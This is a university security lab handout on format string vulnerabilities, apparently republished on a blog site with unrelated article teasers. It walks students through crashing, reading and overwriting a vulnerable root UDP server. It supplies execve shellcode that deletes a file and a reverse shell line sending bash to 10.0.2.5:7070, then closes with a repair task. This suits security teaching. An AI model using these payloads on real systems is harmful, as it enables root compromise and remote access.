【南方科技大学】CS315 Computer Security 【Lab3 Format String Vulnerability】

目录

  • Lab Overview
  • Lab Tasks
    • Task 1: The Vulnerable Program
    • Task 2: Understanding the Layout of the Stack
    • Task 3: Crash the Program
    • Task 4: Print Out the Server Program’s Memory
    • Task 5: Change the Server Program’s Memory
    • Task 6: Inject Malicious Code into the Server Program
    • Task 7: Getting a Reverse Shell
    • Task 8: Fixing the Problem
  • Submission

Lab Overview

C语言中的printf()函数用于按照格式打印出字符串。它的第一个参数称为格式字符串,它定义了字符串的格式。格式字符串使用 % 字符标记的占位符供 prinf() 函数在打印期间填充数据。格式字符串的使用不仅限于 printf() 函数;许多其他函数,例如 sprintf()、fprintf() 和 scanf(),也使用格式字符串。某些程序允许用户以格式字符串提供全部或部分内容。如果此类内容未经清理,恶意用户可以利用此机会让程序运行任意代码。像这样的问题称为格式字符串漏洞。

本实验的目标是让学生通过将在课堂上学到的有关漏洞的知识付诸实践,获得有关格式字符串漏洞的第一手经验。学生将获得一个存在格式字符串漏洞的程序;他们的任务是利用该漏洞实现以下破坏:(1)使程序崩溃,(2)读取程序的内部存储器,(3)修改程序的内部存储器,最严重的是,(4)注入并利用受害者程序的权限执行恶意代码。如果易受攻击的程序是特权程序(例如 root 守护程序),最后的后果将非常危险,因为这可以为攻击者提供系统的 root 访问权限。本实验室涵盖以下主题:

• Format string vulnerability

• Code injection

• Shellcode

• Reverse shell

Lab Tasks

为了简化本实验中的任务,我们使用以下命令关闭地址随机化:

$ sudo sysctl -w kernel.randomize_va_space=0

Task 1: The Vulnerable Program

您将获得一个存在格式字符串漏洞的易受攻击的程序。该程序是一个服务器程序。当它运行时,它监听 UDP 端口 9090。每当 UDP 数据包到达此端口时,程序就会获取数据并调用 myprint() 打印数据。服务器是 root 守护进程,即它以 root 权限运行。 myprintf() 函数内部存在格式字符串漏洞。我们将利用该漏洞来获取root权限。

Listing 1: ”The vulnerable server program”

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/socket.h> 
#include <netinet/ip.h> #define PORT 9090 char *secret = "A secret message\n"; 
unsigned int target = 0x11223344; 
void myprintf(char *msg) 
{ printf("The address of the ’msg’ argument: 0x%.8x\n", (unsigned) &msg); // This line has a format-string vulnerability printf(msg); printf("The value of the ’target’ variable (after): 0x%.8x\n", target); 
} 
// This function provides some helpful information. It is meant to 
// simplify the lab task. In practice, attackers need to figure 
// out the information by themselves. 
void helper() 
{ printf("The address of the secret: 0x%.8x\n", (unsigned) secret); printf("The address of the ’target’ variable: 0x%.8x\n", (unsigned) &target); printf("The value of the ’target’ variable (before): 0x%.8x\n", target); 
} 
void main() 
{ struct sockaddr_in server; struct sockaddr_in client; int clientLen; char buf[1500]; helper(); int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); memset((char *) &server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = htons(PORT); if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) perror("ERROR on binding"); while (1) { bzero(buf, 1500); recvfrom(sock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen); myprintf(buf); } close(sock); 
}

汇编。编译上述程序。您将收到一条警告消息。此警告消息是 gcc 编译器针对格式字符串漏洞实施的对策。我们现在可以忽略这个警告消息。

$ gcc -z execstack -o server server.c server.c: 
In function myprintf: server.c:13:5: warning: format not a string literal and no format arguments [-Wformat-security] printf(msg);

需要注意的是,程序需要使用“-z execstack”选项进行编译,该选项允许堆栈可执行。此选项对任务 1 至 5 没有影响,但对于任务 6 和 7 来说,它很重要。在这两个任务中,我们需要将恶意代码注入到该服务器程序的堆栈空间中;如果堆栈不可执行,任务 6 和 7 将失败。不可执行堆栈是针对基于堆栈的代码注入攻击的对策,但可以使用返回到 libc 技术来击败它。为了简化这个实验,我们简单地禁用这个可失败的对策。

运行并测试服务器。本实验的理想设置是在一台虚拟机上运行服务器,然后从另一台虚拟机发起攻击。但是,如果学生在本实验中使用一台虚拟机也是可以接受的。在服务器虚拟机上,我们使用 root 权限运行服务器程序。我们假设该程序是特权根守护程序。服务器监听9090端口。在客户端VM上,我们可以使用nc命令连接到服务器,其中标志“-u”表示UDP(服务器程序是UDP服务器)。以下示例中的 IP 地址应替换为服务器 VM 的实际 IP 地址,如果客户端和服务器运行在同一 VM 上,则替换为 127.0.0.1。

// On the server VM 
$ sudo ./server // On the client VM 
$ nc -u 10.0.2.5 9090 
message typed by you

您可以在客户端输入任何消息;服务器程序应该打印出您输入的任何内容。然而,服务器程序的 myprintf() 函数中存在格式字符串漏洞,这允许我们让服务器程序做比它应该做的更多的事情,包括给我们对服务器机器的根访问权限。在本实验的其余部分中,我们将利用此漏洞。

Task 2: Understanding the Layout of the Stack

Figure 1: The stack layout when printf() is invoked from inside of the myprintf() function.
为了在本实验中取得成功,必须了解在 myprintf() 内部调用 printf() 函数时的堆栈布局。图 1 描述了堆栈布局。你需要进行一些调查和计算,然后回答以下问题:

问题1:1,2,3 标记位置的内存地址是多少?

问题2: 1和3标记的位置之间的距离是多少?

Task 3: Crash the Program

此任务的目标是向服务器提供输入,这样当服务器程序尝试在 myprintf() 函数中打印出用户输入时,它将崩溃。

Task 4: Print Out the Server Program’s Memory

此任务的目标是让服务器从其内存中打印出一些数据。数据会在服务器端打印出来,因此攻击者无法看到。因此,这不是一次有意义的攻击,但该任务中使用的技术对于后续任务至关重要。

任务 4.A:堆栈数据。目标是打印出堆栈上的数据(任何数据都可以)。您需要提供多少个格式说明符才能让服务器程序打印出输入的前四个字节?

任务4.B:堆数据 堆区域中存储着一条秘密消息,并且你知道它的地址;你的工作是打印出秘密消息的内容。为了实现这一目标,您需要将秘密消息的地址(二进制形式)放入输入(即格式字符串)中,但在终端内输入二进制数据很困难。我们可以使用以下命令来做到这一点。

$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x | nc 127.0.0.1 9090 // Or we can save the data in a file 
$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x > input 
$ nc 127.0.0.1 9090 < input

需要注意的是,大多数计算机都是小端机器,因此要在内存中存储地址0xAABBCCDD(32位机器上的四个字节),最低有效字节0xDD存储在低地址,而最高有效字节0xAA存储在高地址中。因此,当我们将地址存储在缓冲区中时,我们需要按照以下顺序保存:0xDD、0xCC、0xBB、然后0xAA。

Task 5: Change the Server Program’s Memory

此任务的目标是修改服务器程序中定义的目标变量的值。它的原始值为0x11223344。假设这个变量有一个重要的值,它可以影响程序的控制流。如果远程攻击者可以更改其值,他们就可以更改该程序的行为。我们有三个子任务。

任务 5.A:将该值更改为不同的值。在这个子任务中,我们需要将目标变量的内容更改为其他内容。如果您可以将任务更改为不同的值,则无论其值是多少,都将其视为成功。

任务 5.B:将值更改为 0x500。在这个子任务中,我们需要将目标变量的内容更改为特定值0x500。仅当变量的值变为 0x500 时,您的任务才被视为成功。

任务 5.C:将值更改为 0xFF990000。该子任务与上一个子任务类似,只是目标值现在是一个很大的数字。在格式字符串攻击中,该值是 printf() 函数打印出的字符总数;打印出如此大量的字符可能需要几个小时。您需要使用更快的方法。基本思想是使用%hn,而不是%n,这样我们就可以修改两个字节的内存空间,而不是四个字节。打印出 216 个字符并不需要太多时间。我们可以将目标变量的内存空间分成两块内存,每块有两个字节。我们只需要将一个块设置为0xFF99,将另一个块设置为0x0000。这意味着在您的攻击中,您需要在格式字符串中提供两个地址。

在格式字符串攻击中,将内存空间的内容更改为非常小的值是相当具有挑战性的(请在报告中解释原因); 0x00 是一个极端情况。为了实现这个目标,我们需要使用溢出技术。基本思想是,当我们使一个数字大于存储允许的值时,只存储该数字的较低部分(基本上,存在整数溢出)。例如,如果将数字216 + 5存储在16位内存空间中,则只会存储5。因此,要达到零,我们只需要将数字变为 216 = 65, 536。

Task 6: Inject Malicious Code into the Server Program

现在我们准备好攻击这次攻击的皇冠上的宝石,即向服务器程序注入一段恶意代码,这样我们就可以从服务器上删除一个文件。这项任务将为我们下一步的任务奠定基础,这是获得服务器计算机的完全控制权。

为了完成这个任务,我们需要将一段恶意代码以二进制格式注入到服务器内存中,然后利用格式字符串漏洞修改函数的返回地址字段,这样当函数返回时就会跳转到我们注入的代码。为了删除文件,我们希望恶意代码使用shell程序执行/bin/rm命令,例如/bin/bash。这种类型的代码称为 shellcode。

/bin/bash -c "/bin/rm /tmp/myfile"

我们需要使用 execve() 系统调用来执行上述 shellcode 命令,这意味着我们需要将以下参数提供给 execve():

execve(address to the "/bin/bash" string, address to argv[], 0), where 	argv[0] = address to the "/bin/bash" string, argv[1] = address to the "-c" string, argv[2] = address to the "/bin/rm /tmp/myfile" string, argv[3] = 0

我们需要编写机器代码来调用execve()系统调用,这意味着我们需要设置以下四个寄存器,然后调用int 0x80指令。

eax = 0x0B (execve()’s system call number) 
ebx = address to the "/bin/bash" string (argument 1) 
ecx = address to argv[] (argument 2) 
edx = 0 (argument 3, for environment variables; we set it to NULL)

在 shellcode 中设置这四个寄存器非常具有挑战性,主要是因为代码中不能有任何零(字符串中的零终止字符串)。我们在下面提供了 shellcode。 shellcode 的详细解释可以在 Buffer-Overflow Lab 和 SEED 书的第 4.6 章中找到。

Listing 2: Shellcode (/bin/bash -c “/bin/rm /tmp/myfile”)

// Push "/binbash" into stack. 
"\x31\xc0" // xorl %eax, %eax : eax = 0 
"\x50" // pushl $eax : 0 marks the end of a string 
"\x68""bash" // pushl "bash" 
"\x68""" // pushl "" : "" is equivalent to "/" 
"\x68""/bin" // pushl "/bin" 
"\x89\xe3" // movl %esp, %ebx : Save the string address to ebx // Push "-ccc" into stack. 
"\x31\xc0" // xorl %eax, %eax " eax = 0 
"\x50" // pushl $eax : 0 marks the end of a string 
"\x68""-ccc" // pushl "-ccc" : "-ccc" is equivalent to "-c" 
"\x89\xe0" // movl %esp, %eax : Save the string address to eax // Push "/bin/rm /tmp/myfile " into stack. 
"\x31\xd2" // xorl %edx, %edx : edx = 0 
"\x52" // pushl %edx : 0 marks the end of a string 
"\x68""ile " // pushl "ile " 1 
"\x68""/myf" // pushl "/myf" 
"\x68""/tmp" // pushl "/tmp" 
"\x68""/rm " // pushl "/rm " 
"\x68""/bin" // pushl "/bin" 2
"\x89\xe2" // movl %esp,%edx : Save the string address to edx // Construct the argv[] array. 
"\x31\xc9" // xorl %ecx, %ecx 
"\x51" // pushl %ecx : argv[3] = 0 
"\x52" // pushl %edx : argv[2] = address of "/bin/rm ..." 
"\x50" // pushl %eax : argv[1] = address of "-c" 
"\x53" // pushl %ebx : argv[0] = address of "/bin/bash" 
"\x89\xe1" // movl %esp, %ecx : Save argv[]’s address to ecx // Set edx to 0. 
"\x31\xd2" // xorl %edx, %edx : Let edx = 0 // Invoke the system call. 
"\x31\xc0" // xorl %eax, %eax 
"\xb0\x0b" // movb $0x0b, %al : 0x0b is execve()’s number 
"\xcd\x80" // int 0x80 : Invoke the execve() system call

您需要注意 1和 2行的代码。这是我们将 /bin/rm 命令字符串推入缓冲区的地方。在本次任务中,您不需要修改这部分内容,但在下一个任务中,您需要修改它。 Pushl指令只能将32位整数压入堆栈;这就是为什么我们将字符串分成几个 4 字节块。由于这是一个 shell 命令,因此添加额外的空格不会改变该命令的含义;因此,如果字符串的长度不能被四整除,您可以随时添加额外的空格。堆栈从高地址向低地址增长(即反向),因此我们需要将字符串也反向推入堆栈。

在shellcode中,当我们将“/bin/bash”存储到堆栈中时,我们存储的是“/binbash”,其长度为12,是4的倍数。额外的“/”被execve忽略( )。类似地,当我们将“-c”存储到堆栈中时,我们存储“-ccc”,将长度增加到4。对于bash,这些额外的c被认为是多余的。

上面显示的代码适用于 C 程序,我们将机器代码存储到数组中。对于此任务,我们可以直接在命令中键入二进制代码(使用 \x),如下所示(无需在指令之间键入引号)。需要注意的是,我们可以将 NOP (\0x90) 放在 shellcode 的开头,以使我们的生活更轻松(为什么?请在报告中解释)。

$ echo ...(your format string)...$(printf "\x90\x90\x90\x90\x31\xc0 ... \x31\xd2\x52\68ile \x68/myf\x68/tmp\x68/rm \x68/bin\x89\xe2 ... \xcd\x80")

请构建您的输入,将其提供给服务器程序,并证明您可以成功删除目标文件。在你的实验报告中,你需要解释你的格式字符串是如何构造的。请在图1中标明您的恶意代码存放位置(请提供具体地址)。

Task 7: Getting a Reverse Shell

当攻击者能够使用 TCP 会话劫持将命令注入受害者的计算机时,他们对在受害者计算机上运行一个简单的命令不感兴趣;他们对运行许多命令感兴趣。攻击者想要达到的目的就是利用这次攻击设置一个后门,然后利用这个后门方便地进行进一步的破坏。

设置后门的典型方法是从受害计算机运行反向 shell,为攻击者提供对受害计算机的 shell 访问权限。反向 shell 是在远程计算机上运行的 shell 进程,连接回攻击者的计算机。这为攻击者提供了一种在远程计算机受到威胁后访问远程计算机的便捷方法。第 3 章提供了反向 shell 如何工作的说明SEED 书的内容。还可以在 Shellshock 攻击实验室和 TCP 攻击实验室的指南部分中找到它。

为了获得反向 shell,我们需要首先在攻击者机器上运行 TCP 服务器。该服务器等待我们的恶意代码从受害者服务器计算机回调。以下 nc 命令创建侦听端口 7070 的 TCP 服务器:

$ nc -l 7070 -v

您需要修改清单 2 中列出的 shellcode,因此您的 shellcode 不运行使用 bash 的 /bin/rm 命令,而是运行以下命令。该示例假设攻击者计算机的 IP 地址是 10.0.2.5,因此您需要在代码中更改 IP 地址:

/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.5/7070 0<&1 2>&1"

只需要修改1 和2行之间的代码,这样上面的“/bin/bash -i …”命令就会由 shellcode 执行,而不是 /bin/rm 命令。完成 shellcode 后,您应该构建格式字符串,将其作为输入发送到受害者服务器。如果攻击成功,您的 TCP 服务器应该会收到回调,并且您将在受害者计算机上获得 root shell。请在报告中提供成功的证据(包括屏幕截图)。

Task 8: Fixing the Problem

还记得 gcc 编译器生成的警告消息吗?请解释一下这是什么意思。请修复服务器程序中的漏洞,并重新编译。编译器警告消失了吗?你的攻击还有效吗?您只需尝试其中一种攻击即可查看它是否仍然有效。

Submission

您需要提交一份详细的实验室报告,并附有屏幕截图,以描述您所做的事情以及观察到的情况。您还需要对有趣或令人惊讶的观察结果提供解释。另请列出重要的代码片段(如果有)并附上解释。简单地附加代码而不做任何解释将不会获得积分。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1539478.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Vue2学习笔记(02条件渲染 、监视数据的原理)

1、v-if和v-show的区别 2、Vue监视数据的原理

gcc升级(含命令行升级、手动升级两种方式)

gcc升级 1.yum源替换1.1 备份原始repo配置文件1.2 重新配置CentOS-Base.reporepo文件1.3 清除缓存并重新创建 2. gcc安装3.命令行升级gcc4.手动升级4.1 安装包下载4.2 解压4.3 gcc升级4.3.1 依赖拉取4.3.2 gmp安装4.3.3 mpfr安装4.3.4 mpc安装4.3.5 gcc编译、安装 4.4 gcc命令配…

springsecurity+jwt实现前后端分离认证授权

文章目录 1.简介2.快速入门3.认证3.1登录校验流程3.2原理初探3.3认证详流程详解3.4 分析UsernamePasswordAuthenticationFilter 4.案例实战4.1 思路分析4.2准备工作4.3实战1.数据库校验用户2.核心代码1.创建UserDetailsService实现类2.创建UserDetails实现类3.密码加密存储模式…

前端界面搜索部分,第一个选择框的值,影响第二个选择框的值

1.字段声明 {title: 单位名称,dataIndex: departmentId,align: center,width: 100,hideInTable: true,renderFormItem: (item, { defaultRender, ...rest }) > (<ProFormSelectname"departmentId"// label"单位名称"options{hospitaltData}onChange…

fiddler抓包06_抓取https请求(chrome)

课程大纲 首次安装Fiddler&#xff0c;抓https请求&#xff0c;除打开抓包功能&#xff08;F12&#xff09;还需要&#xff1a; ① Fiddler开启https抓包 ② Fiddler导出证书&#xff1b; ③ 浏览器导入证书。 否则&#xff0c;无法访问https网站&#xff08;如下图&#xff0…

详解CORDIC算法以及Verilog实现并且调用Xilinx CORDIC IP核进行验证

系列文章目录 文章目录 系列文章目录一、什么是CORDIC算法&#xff1f;二、CORDIC算法原理推导三、CORDIC模式3.1 旋转模式3.2 向量模式 四、Verilog实现CORDIC4.1 判断象限4.2 定义角度表4.3 迭代公式 五、仿真验证5.1 matlab打印各角度的正余弦值5.2 Verilog仿真结果观察 六、…

使用Python免费将pdf转为docx

刚刚想将pdf转换为docx文档时&#xff0c;居然要收费 还好我学过编程&#xff0c;这不得露两手 将pdf 转换为 docx 文档 的操作步骤 我这里使用的是Python语言 &#xff08;1&#xff09;在终端上安装 pdf2docx 是一个 Python 库&#xff0c;它可以将 PDF 文件转换为 Word (…

PHP发邮件教程:配置SMTP服务器发送邮件?

PHP发邮件的几种方式&#xff1f;如何使用PHP通过SMTP协议发信&#xff1f; PHP作为一种广泛使用的服务器端脚本语言&#xff0c;提供了多种方式来发送邮件。AokSend将详细介绍如何通过配置SMTP服务器来实现PHP发邮件教程的核心内容。 PHP发邮件教程&#xff1a;设置参数 这…

《Linux运维总结:基于Ubuntu 22.04操作系统+x86_64架构CPU部署二进制mongodb 7.0.14分片集群》

总结:整理不易,如果对你有帮助,可否点赞关注一下? 更多详细内容请参考:《Linux运维篇:Linux系统运维指南》 一、简介 1、应用场景 当您遇到如下问题时,可以使用分片集群解决: a、 存储容量受单机限制,即磁盘资源遭遇瓶颈。 b、 读写能力受单机限制,可能是CPU、内…

VSCode语法提示的配置

ctrlshiftP打开Command Palette,运行C/Cpp: Edit configurations...生成c_cpp_properties.json c_cpp_properties.json是什么&#xff1f; 这个文件主要是用于VSCode语法提示的配置&#xff0c;例如&#xff1a;指定 include 路径&#xff0c;问题匹配类型等。CtrlShiftP打开C…

课题分享:宿舍管理系统小程序,基于微信小程序+SSM+mysql

一、前言介绍 互联网概念的产生到如今的蓬勃发展&#xff0c;用了短短的几十年时间就风靡全球&#xff0c;使得全球各个行业都进行了互联网的改造升级&#xff0c;标志着互联网浪潮的来临。在这个新的时代&#xff0c;各行各业都充分考虑互联网是否能与本行业进行结合&#xf…

【Verilog学习日常】—牛客网刷题—Verilog快速入门—VL21

根据状态转移表实现时序电路 描述 某同步时序电路转换表如下&#xff0c;请使用D触发器和必要的逻辑门实现此同步时序电路&#xff0c;用Verilog语言描述。 电路的接口如下图所示。 输入描述&#xff1a; input A , input clk , …

chorme浏览器 您的连接不是私密连接

‌当浏览器显示“您的连接不是私密连接&#xff0c;攻击者可能会试图从 localhost 窃取您的信息&#xff08;例如&#xff1a;密码、消息或信用卡信息&#xff09;”的警告时&#xff0c;这通常意味着您正在尝试访问的网站的安全证书存在问题&#xff0c;可能是因为它使用的是自…

C++学习指南(六)----list

欢迎来到繁星的CSDN。本期内容主要包括&#xff0c;list的介绍、使用以及与vector的优缺点。 一、什么是list 在先前的C语言学习中&#xff0c;我们接触到了顺序表和链表&#xff0c;而在C中&#xff0c;这正好对应了vector&#xff08;动态增长顺序表&#xff09;和l…

1网络安全的基本概念

文章目录 网络安全的基本概念可以总结为以下几个方面&#xff1a; 网络安全的需求&#xff1a; 信息安全的重要性&#xff1a;信息安全是计算机、通信、物理、数学等领域的交叉学科&#xff0c;对于社会的发展至关重要。信息安全的目标&#xff1a;主要包括保密性、完整性、可用…

【Linux】yum、vim、gcc使用(超详细)

Linux中常见的软件安装方式 --------- 下载&&安装 a、yum/apt b、rpm安装包安装 c、源码安装 yum 关于 yum 的所有操作必须保证主机(虚拟机)网络畅通!!! 可以通过 ping 指令验证&#xff1a; ping www.baidu.com 安装软件 yum 会自动找到都有哪些软件包需要下载…

Leetcode 93-复原 IP 地址

有效 IP 地址 正好由四个整数&#xff08;每个整数位于 0 到 255 之间组成&#xff0c;且不能含有前导 0&#xff09;&#xff0c;整数之间用 ‘.’ 分隔。 例如&#xff1a;“0.1.2.201” 和 “192.168.1.1” 是 有效 IP 地址&#xff0c;但是 “0.011.255.245”、“192.168.…

【爆炸】BB机,BP机,寻呼系统基础知识,物理层讲解

本页介绍寻呼系统基础知识。其中提到了寻呼机使用的数字协议并描述了数字寻呼接收器。 寻呼是一种单向通信系统。寻呼系统向携带小型电池供电设备&#xff08;称为寻呼机&#xff09;的个人广播信号或消息。这是与员工和/或客户沟通的非常重要的方式。让我们看看寻呼系统的工作…

IP包头分析

IP包头 选择自己的网卡&#xff0c;开始抓包 ping一个字节大点的数据&#xff0c;方便查看包 选择数据包&#xff0c;并过滤icmp协议 查看抓到的包&#xff0c;分析 IP包头范围&#xff1a;20-60 首部长度&#xff1a;定义包头的长度 总长度&#xff1a;表示当前数据的长度…

【模板进阶】模板的万能引用

一、类型的区别和基本定义 1.1类型的基本定义 首先先看一个最简单例子&#xff1a; //类型的区别和基本定义 void func(const int& abc) { } //abc的类型为const int&这里的 a b c abc abc被推导为什么类型&#xff1f; 显然可见&#xff0c;为 c o n s t i n t &am…